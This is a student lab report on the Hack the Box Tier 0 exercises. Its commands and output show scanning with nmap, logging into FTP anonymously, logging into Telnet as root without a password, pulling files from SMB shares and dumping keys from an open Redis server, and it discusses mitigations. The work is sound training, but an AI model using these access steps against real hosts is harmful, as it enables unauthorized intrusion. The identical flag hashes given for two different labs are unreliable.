



Ethical Hacking

Hack the Box Starting Point Tier 0

Introduction

This report documents Hack the Box Tier 0 (Starting Point) first 4 practical exercises Meow, Fawn, Dancing, and Redeemer. Each lab starts with verifying the connectivity using *ping* command with target VM IPv4 address and enumerate services using *nmap* command. Labs use to identify potential vulnerabilities and how to use them to get the details of the targeted VM. The hash value displayed in the terminal of flag.txt files, using the *cat* command to proof the work.

Section -1

Exploited VM Writeup - Fawn

1. Checked that the target IP address (VM Machine IP) can be reachable or not using ping command.

```
(kali㉿kali)-[~]
└─$ ping 10.129.182.119
PING 10.129.182.119 (10.129.182.119) 56(84) bytes of data:
64 bytes from 10.129.182.119: icmp_seq=1 ttl=63 time=55.9 ms
64 bytes from 10.129.182.119: icmp_seq=2 ttl=63 time=55.1 ms
64 bytes from 10.129.182.119: icmp_seq=3 ttl=63 time=50.6 ms
64 bytes from 10.129.182.119: icmp_seq=4 ttl=63 time=49.3 ms
^C
— 10.129.182.119 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3023ms
rtt min/avg/max/mdev = 49.313/52.715/55.889/2.814 ms
```

Observed that 4 packets were transmitted and 4 packets received, 0% packet lost. Verifies that target host is reachable.

2. Nmap stands for Network Mapper, and it will send requests to the target's ports in hopes of receiving a reply, thus determining if the said port is open or not. Some ports are used by default by certain services. Others might be non-standard, which is why we will be using the service detection flag *-sV* to determine the name and description of the identified services.

sudo nmap -sV 10.129.182.119 command will make nmap scan all the open ports and display service versions for each of them.

```
(kali㉿kali)-[~]
└─$ sudo nmap -sV 10.129.182.119
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 00:00 EDT
Nmap scan report for 10.129.182.119
Host is up (0.12s latency).
Not shown: 999 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds
```

Port 21 in an open state, running the File Transfer Protocol (FTP). The version is 3.0.3, and Unix OS running on target VM. Secure File Transfer Protocol (SFTP) use for secure transmission data as an extension of the SSH protocol.

3. Install ftp, and The -y switch at the end of the command is used to accept the installation without interrupting the process.

```
(kali㉿kali)-[~]
$ sudo apt install ftp -y
ftp is already the newest version (20230507-2).
ftp set to manually installed.
The following packages were automatically installed and are no longer required:
libbluray2 libhdf4-0-alt libsoup-2.4-1 libudfread0
libgdal36 libogdi4.1 libsoup2.4-common libvpx9
libgdata-common libqt5ct-common1.8 libtheora0 python3-packaging-whl
libgdata22 libsframe1 libtheoradec1 python3-pyinstaller-hooks-contrib
libgeos3.13.1 libsigsegv2 libtheoraenc1 python3-wheel-whl
Use 'sudo apt autoremove' to remove them.

Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 4
```

It is observed that FTP is already installed with newest version. The target VM is running an FTP server. Performed this step to ensure the availability of FTP client.

4. ftp -? command used to display the “ftp” client help menu.

```
(kali㉿kali)-[~]
$ ftp -?
usage: ftp [-46AadefginpRtVv] [-N NETRC] [-o OUTPUT] [-P PORT] [-q QUITTIME]
[-r RETRY] [-s SRCADDR] [-T DIR,MAX[,INC]] [-x XFERSIZE]
[[USER@]HOST [PORT]]
[[USER@]HOST:PATH[/]]
[file:///PATH]
[ftp://[USER[:PASSWORD]@]HOST[:PORT]/PATH[/];type=TYPE]]
[http://[USER[:PASSWORD]@]HOST[:PORT]/PATH]
[https://[USER[:PASSWORD]@]HOST[:PORT]/PATH]
...
ftp -u URL FILE ...
ftp -?

-4          Only use IPv4 addresses
-6          Only use IPv6 addresses
-A          Force active mode
-a          Use anonymous login
-d          Enable debugging
-e          Disable command-line editing
-f          Force cache reload for FTP or HTTP proxy transfers
-g          Disable file name globbing
-i          Disable interactive prompt during multiple file transfers
-N NETRC   Use NETRC instead of ~/.netrc
-n          Disable auto-login
-o OUTPUT   Save auto-fetched files to OUTPUT
-P PORT     Use port PORT
-p          Force passive mode
-q QUITTIME Quit if connection stalls for QUITTIME seconds
-R          Restart non-proxy auto-fetch
-r RETRY    Retry failed connection attempts after RETRY seconds
-s SRCADDR  Use source address SRCADDR
-t          Enable packet tracing
-T DIR,MAX[,INC] Set maximum transfer rate for direction DIR to MAX bytes/s,
               with optional increment INC bytes/s
-u URL      URL to upload file arguments to
-V          Disable verbose and progress
-v          Enable verbose and progress
-x XFERSIZE Set socket send and receive size to XFERSIZE
-?          Display this help and exit
```

Using *ftp -?* command, observed modes and flags under FTP client, and which option is needed for reliable transfers. This will provide detail description of each option.

5. Tried to login as *anonymous* to check whether the FTP server allows unauthenticated access.

```
(kali㉿kali)-[~]  
$ ftp 10.129.182.119  
Connected to 10.129.182.119.  
220 (vsFTPD 3.0.3)  
Name (10.129.182.119:kali): anonymous  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp>
```

Attackers can login to FTP server as *anonymous*, without using a password. Login successful messages with 230 response code, and this FTP server reply code for successful authentication of a user. Also, observed the OS of the remote system as UNIX.

6. Used *ls* command to list files and directories available on the FTP server.

```
ftp> ls  
229 Entering Extended Passive Mode (|||56923|)  
150 Here comes the directory listing.  
-rw-r--r--  1 0      0      32 Jun 04  2021 flag.txt  
226 Directory send OK.  
ftp>
```

ls command confirms the presence and permission of *flag.txt* and can be used *get* command to download the file.

7. Used *cat flag.txt* command to read the content of the file.

```
(kali㉿kali)-[~]  
$ cat flag.txt  
5f61c10dffbc77a704d76016a22f1664
```

The hash value displayed in the terminal, and it shows the outputs of the file without modifying or deleting. This can be used as proof of access and successfully exploit the VM.

The FTP server allowed unauthorized users to access as anonymous, without using a password. Also, FTP is not a secure communication protocol, FTP transmits credentials and data in plain text. To overcome these vulnerabilities, we can disable or restrict anonymous access to FTP server and enforce strong authentication. Sametime replace FTP with SFTP for secure communication and use firewall rules to limit unauthorized access.

Section -2

Meow Lab

- a. Why do we run the lab in this specific order?

Step 1 - Ping to verify connectivity

Ping command provides details of whether the target IP address is reachable or not. Before starting the lab and working with scans, it is required to verify the connectivity. If the target IP address is reachable, we can start the lab. If it is not, we must troubleshoot the system and establish the connectivity to start the lab work. If we start the lab before the connectivity establishes, we will get confused results and waste the time understanding them.

```
(kali㉿kali)-[~]  
$ ping 10.129.205.143  
PING 10.129.205.143 (10.129.205.143) 56(84) bytes of data.  
64 bytes from 10.129.205.143: icmp_seq=1 ttl=63 time=50.7 ms  
64 bytes from 10.129.205.143: icmp_seq=2 ttl=63 time=50.6 ms  
64 bytes from 10.129.205.143: icmp_seq=3 ttl=63 time=51.5 ms  
^[[B^[[B^[[B64 bytes from 10.129.205.143: icmp_seq=4 ttl=63 time=54.9 ms  
64 bytes from 10.129.205.143: icmp_seq=5 ttl=63 time=55.3 ms  
^[[B^[[B^[[B64 bytes from 10.129.205.143: icmp_seq=6 ttl=63 time=55.3 ms  
^C  
— 10.129.205.143 ping statistics —  
6 packets transmitted, 6 received, 0% packet loss, time 5066ms  
rtt min/avg/max/mdev = 50.612/53.059/55.338/2.149 ms
```

A successful ping validates basic network connectivity and gives the details of ICMP packets size, sequence number, and TTL details. Finally provide the total number of packets transmitted, received, amount of packet loss and total time spent for packets transmission.

Step 2 – Nmap scan to find open ports

After confirming the network connectivity, we use Nmap command to discover the target VM open port details. Network mapping /Nmap uses to detect and investigate the details of open ports. We use Nmap service detection `-sV` flag to determine the name and description of the identified services.

```
(kali㉿kali)-[~]  
$ sudo nmap -sV 10.129.205.143  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-16 23:34 EDT  
Nmap scan report for 10.129.205.143  
Host is up (0.41s latency).  
Not shown: 999 closed tcp ports (reset)  
PORT      STATE SERVICE VERSION  
23/tcp    open  telnet  Linux telnetd  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
```

Nmap probed 1000 TCP ports and 999 replied as closed, only open port is port 23 Telnet. OS detected as Linux and total time taken for scan is 13.37 seconds. Telnet is unencrypted protocol that transmits credentials and session data in plain text. Attackers can gain access through the Telnet and compromise the system.

b. Importance of this methodology

It is important to check the connectivity before starting network troubleshooting or data gathering process. Otherwise, we waste time by getting irrelevant results. By pinging the target IP, quickly confirms the reachability and avoids wasting time on running command on an unreachable connection. After we confirm the reachability, we can use *nmap* command to discover open ports and which services and versions are running. Without targeting protocols by guessing, we have real data to take next action to explore data on the system. Now we know that port 23/telnet is open, and we can go to next step to gather information by connecting to the system using open port. So, each step is important and should have a sequence.

Section -3

Telnet Service Connection

a. Connect to a Telnet service in the lab environment.

- We can use Telnet for remote management of other hosts on the network. Telnet can receive connection requests from other hosts in the network. Normally these connection requests are configured with username and password to improve security. Use telnet command with target IP to login to telnet service and remotely manage the target VM.



```
(kali㉿kali)-[~]  
$ telnet 10.129.205.143  
Trying 10.129.205.143 ...  
Connected to 10.129.205.143.  
Escape character is '^]'.  
  
Hack the Box  
  
Meow login: █
```

- Using *root* as username allows you to login for remote management without a password. If you try to login as Administrator or admin will not allow you to login without a password. This kind of vulnerabilities allow the attackers to gain access to the system using brute force attacks.

```
Meow login: admin
Password:

Login incorrect
Meow login: administrator
Password:

Login incorrect
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Wed 17 Sep 2025 03:45:51 AM UTC

System load:          0.0
Usage of /:            41.7% of 7.75GB
Memory usage:         4%
Swap usage:           0%
Processes:            137
Users logged in:      0
IPv4 address for eth0: 10.129.205.143
IPv6 address for eth0: dead:beef::250:56ff:feb0:6886

 * Super-optimized for small spaces - read how we shrank the memory
   footprint of MicroK8s to make it the smallest full K8s around.
```

- After succeeding in connection with the target VM remotely we can discover and listed all the files and directories using *ls* command. The hash values of the targeted file *flag.txt* can be displayed in the terminal using *cat* command.

```
Last login: Wed Sep 17 03:39:44 UTC 2025 on pts/0
root@Meow:~#
root@Meow:~# ls
flag.txt  snap
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
root@Meow:~#
```

b. Short explanation of security dangers associated with Telnet.

Telnet is remote login protocols, which allow access to the system using command line. Telnet transmits all communication in plaintext, including usernames, passwords, and session data. If the attacker access to same network, they can get all the details of usernames and passwords by capturing the traffic. Another danger is the lack of encryption, and it will allow the man in the middle attacker to alter the data during transmission. The integrity of data will not protect and cannot guarantee that the end user receives the correct data. As we see, weak or default authentication will provide unauthorized person to enter the system by guessing the password.

Section -4

Fawn Lab

a. Common Ports

Port 0 to 1023 are known as common ports/well known ports assigned by Internet Assigned Numbers Authority (IANA). These ports are virtual endpoints that directs network traffic to specific applications, as example port 80 for HTTP, 443 for HTTPS. These ports are used by default and make it easy to communicate without extra configuration.

b. Ports with their corresponding services.

Port No	Service	Description
21	FTP	File Transfer Protocol for sending and receiving files.
22	SSH	Secure Shell connections provide a secure command line interface for remote administration.
25	SMTP	Simple Mail Transfer Protocol for relying on email between mail servers.
53	DNS	Domain naming System is used to translate domain names to their relevant IP addresses.
80	HTTP	Hyper Text Transfer Protocol is used for unencrypted web traffic.
110	POP3	Post Office Protocol version 3 is used for email clients to retrieve messages from email server.
143	IMAP	Internet Message Access Protocol is used for email clients to manage and retrieve emails while keeping messages on the server.
161	SNMP	Simple Network Management Protocol is used for monitoring and managing network devices.
443	HTTPS	Hyper Text Transfer Protocol Secure is used to secure encrypted web traffic.
445	SMB	Server Message Block is used for files and printer sharing on Windows networks.

c. Can we run FTP on port 2021 instead of port 20/21.

This is possible, we can explicitly specify any unused port number as FTP, so we can run FTP on port 2021. We configure FTP run on a non-standard port;

- To avoid port conflicts - If we have two FTP servers in same machine, we can use non-standard port to prevent collision and run multiple services.
- Improve security - FTP is not secure protocol, and attackers always review common ports first. We can use non-standard port to run FTP to avoid vulnerabilities.
- Traffic separation - We can segment the traffic by running FTP on different ports.

Section -5

Dancing Lab

- a. What acronym will you use to remember the 7-Layer OSI model.

I use *People do not see ppt app* to remember 7-layer OSI model.

- b. What command do you run to enumerate SMB shares?

We can use `smbclient -L 10.129.17.73` (Target VM IP) command to enumerate SMB shares.
-L used to list out available shares and press enter for the password field.

```
(kali㉿kali)-[~]
$ smbclient -L 10.129.17.73
Password for [WORKGROUP\kali]:

      Sharename      Type      Comment
      ──────────      ───      ─────────
      ADMIN$         Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      WorkShares     Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.17.73 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

- c. Retrieving the flag.

- Tried to access all shares without using a password and only *Workshares* is allowed to access without using a password.

```
(kali㉿kali)-[~]
$ smbclient \\\10.129.17.73\\Workshares
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> exit
```

```
(kali㉿kali)-[~]
$ smbclient \\\10.129.17.73\\Admin$
Password for [WORKGROUP\kali]:
tree connect failed: NT_STATUS_ACCESS_DENIED
```

```
(kali㉿kali)-[~]
$ smbclient \\\10.129.17.73\\C$
Password for [WORKGROUP\kali]:
tree connect failed: NT_STATUS_ACCESS_DENIED
```

- List out the files within Workshare and found two directories named Amy.J and James.P. Further investigated to get *flag.txt* file and found it on James.P directory. Downloaded the *flag.txt* file.

```
smb: \> ls
.                D            0 Mon Mar 29 04:22:01 2021
..               D            0 Mon Mar 29 04:22:01 2021
Amy.J            D            0 Mon Mar 29 05:08:24 2021
James.P          D            0 Thu Jun  3 04:38:03 2021

5114111 blocks of size 4096. 1750538 blocks available
smb: \> cd Amy.J
smb: \Amy.J\> ls
.                D            0 Mon Mar 29 05:08:24 2021
..               D            0 Mon Mar 29 05:08:24 2021
worknotes.txt    A            94 Fri Mar 26 07:00:37 2021

5114111 blocks of size 4096. 1750538 blocks available
smb: \Amy.J\> get worknotes.txt
getting file \Amy.J\worknotes.txt of size 94 as worknotes.txt (0.5 KiloBytes/sec) (average
0.5 KiloBytes/sec)
smb: \Amy.J\>

smb: \Amy.J\> cd ..
smb: \> ls
.                D            0 Mon Mar 29 04:22:01 2021
..               D            0 Mon Mar 29 04:22:01 2021
Amy.J            D            0 Mon Mar 29 05:08:24 2021
James.P          D            0 Thu Jun  3 04:38:03 2021

5114111 blocks of size 4096. 1750527 blocks available
smb: \> cd James.P
smb: \James.P\> ls
.                D            0 Thu Jun  3 04:38:03 2021
..               D            0 Thu Jun  3 04:38:03 2021
flag.txt         A            32 Mon Mar 29 05:26:57 2021

5114111 blocks of size 4096. 1750527 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.2 KiloBytes/sec) (average 0.3 KiloByte
s/sec)
smb: \James.P\>
```

- Read the downloaded file and get the flag value and observed that worknotes.txt have listed further services.

```
(kali㉿kali)-[~]
$ cat flag.txt
5f61c10dffbc77a704d76016a22f1664

(kali㉿kali)-[~]
$ cat worknotes.txt
- start apache server on the linux machine
- secure the ftp server
- setup winrm on dancing

(kali㉿kali)-[~]
$
```

Section -6

Redeemer Lab

1. Checked that the target IP address (VM Machine IP) can be reachable or not using ping command.

```
(kali㉿kali)-[~]
$ ping 10.129.175.115
PING 10.129.175.115 (10.129.175.115) 56(84) bytes of data.
64 bytes from 10.129.175.115: icmp_seq=1 ttl=63 time=42.3 ms
64 bytes from 10.129.175.115: icmp_seq=2 ttl=63 time=43.9 ms
^C
— 10.129.175.115 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 42.317/43.096/43.876/0.779 ms
```

2. Using nmap with the appropriate service version detection switch, scan the IP address to investigate open ports and services.

```
(kali㉿kali)-[~]
$ sudo nmap -p- --min-rate 5000 -T5 10.129.175.115
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 21:54 EDT
Warning: 10.129.175.115 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.175.115
Host is up (0.28s latency).
Not shown: 47727 closed tcp ports (reset), 17807 filtered tcp ports (no-response)
PORT      STATE SERVICE
6379/tcp  open  redis

Nmap done: 1 IP address (1 host up) scanned in 30.15 seconds
```

Open port is **6379** and **redis** service is running on that port.

3. Downloaded the redis-cli utility using *sudo apt install redis-tools* command to remotely interact with the Redis server.

```
(kali㉿kali)-[~]
$ sudo apt install redis-tools
redis-tools is already the newest version (5:8.0.2-3).
redis-tools set to manually installed.
The following packages were automatically installed and are no longer required:
libbluray2      libhdf4-0-alt    libsoup-2.4-1    libudfread0
libgdal36       libogdi4.1       libsoup2.4-common libvpx9
libgdata-common libqt5ct-common1.8 libtheora0       python3-packaging-whl
libgdata22      libsframe1       libtheoradec1    python3-pyinstaller-hooks-contrib
libgeos3.13.1   libsigsegv2      libtheoraenc1     python3-wheel-whl
Use 'sudo apt autoremove' to remove them.

Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 4
```

4. Used *rediscli* utility to connect to the Redis server. Also, *netcat* utility can be used to connect to the Redis server.

```
(kali@kali)-[~]
$ redis-cli --help
redis-cli 8.0.2

Usage: redis-cli [OPTIONS] [cmd [arg [arg ... ]]]
  -h <hostname>      Server hostname (default: 127.0.0.1).
  -p <port>           Server port (default: 6379).
  -t <timeout>        Server connection timeout in seconds (decimals allowed).
                      Default timeout is 0, meaning no limit, depending on the OS.
  -s <socket>         Server socket (overrides hostname and port).
  -a <password>       Password to use when connecting to the server.
                      You can also use the REDISCLI_AUTH environment
                      variable to pass this password more safely
                      (if both are used, this argument takes precedence).
  --user <username>   Used to send ACL style 'AUTH username pass'. Needs -a.
  --pass <password>   Alias of -a for consistency with the new --user option.
  --askpass           Force user to input password with mask from STDIN.
                      If this argument is used, '-a' and REDISCLI_AUTH
                      environment variable will be ignored.
  -u <uri>            Server URI on format redis://user:password@host:port/dbnum
                      User, password and dbnum are optional. For authentication
                      without a username, use username 'default'. For TLS, use
                      the scheme 'rediss'.
  -r <repeat>         Execute specified command N times.
  -i <interval>       When -r is used, waits <interval> seconds per command.
                      It is possible to specify sub-second times like -i 0.1.
                      This interval is also used in --scan and --stat per cycle.
                      and in --bigkeys, --memkeys, --keystats, and --hotkeys per 100 cycles.
```

5. *-h* flag is used within the Redis command-line utility to specify the hostname. One of the basic Redis enumeration commands is *info* which returns information and statistics about the Redis server.

```
(kali@kali)-[~]
$ redis-cli -h 10.129.175.115
10.129.175.115:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:752
run_id:d4e8c2c2f8bd755ad3a934a419b9ba5c87fc4019
tcp_port:6379
uptime_in_seconds:1001
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:13071778
executable:/usr/bin/redis-server
config_file:/etc/redis/redis.conf

# Clients
connected_clients:1
client_recent_max_input_buffer:2
client_recent_max_output_buffer:0
blocked_clients:0

# Memory
used_memory:859624
used_memory_human:839.48K
used_memory_rss:5791744
used_memory_rss_human:5.52M
used_memory_peak:859624
used_memory_peak_human:839.48K
used_memory_peak_perc:100.12%
used_memory_overhead:847166
```

Under the *Keyspace* section, only one database exists with index 0.

```
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
10.129.175.115:6379>
```

6. Select this Redis logical database by using the *select* command followed by the index number 0 of the database that needs to be selected. List out all the keys present in the database using *keys ** command.

```
10.129.175.115:6379> select 0
OK
10.129.175.115:6379> keys*
(error) ERR unknown command `keys*`, with args beginning with:
10.129.175.115:6379> keys *
1) "numb"
2) "flag"
3) "stor"
4) "temp"
10.129.175.115:6379> █
```

7. Download all the keys and retrieved the flag value.

```
10.129.175.115:6379> get numb
"bb2c8a7506ee45cc981eb88bb81dddab"
10.129.175.115:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.175.115:6379> get stor
"e80d635f95686148284526e1980740f8"
10.129.175.115:6379> get temp
"1c98492cd337252698d0c5f631dfb7ae"
10.129.175.115:6379> █

10.129.175.115:6379> get numb
"bb2c8a7506ee45cc981eb88bb81dddab"
10.129.175.115:6379> get flag
"03e1d2b376c37ab3f5319922053953eb"
10.129.175.115:6379> get stor
"e80d635f95686148284526e1980740f8"
10.129.175.115:6379> get temp
"1c98492cd337252698d0c5f631dfb7ae"
```

Conclusion

Tier 0 labs provided in hand experience of fundamental penetration skills through discovery, enumeration, exploitation and post-exploitation of vulnerable services. Starting lab Meow emphasized how to start penetration test by checking connectivity and primary step of enumeration to document current state of the target. The Fawn lab emphasized connectivity check, scanned with Nmap, and exploited an anonymous FTP login to retrieve the flag. The Dancing lab demonstrated SMB enumeration and exploitation to retrieve sensitive files. The Redeemer lab emphasized how redis (Remote Dictionary Server) can be enumerated with redis-cli.

Tier 0 labs demonstrated penetration test principles of enumeration, exploitation, and evidence collection. These covers vulnerability scans and practical exploitation techniques.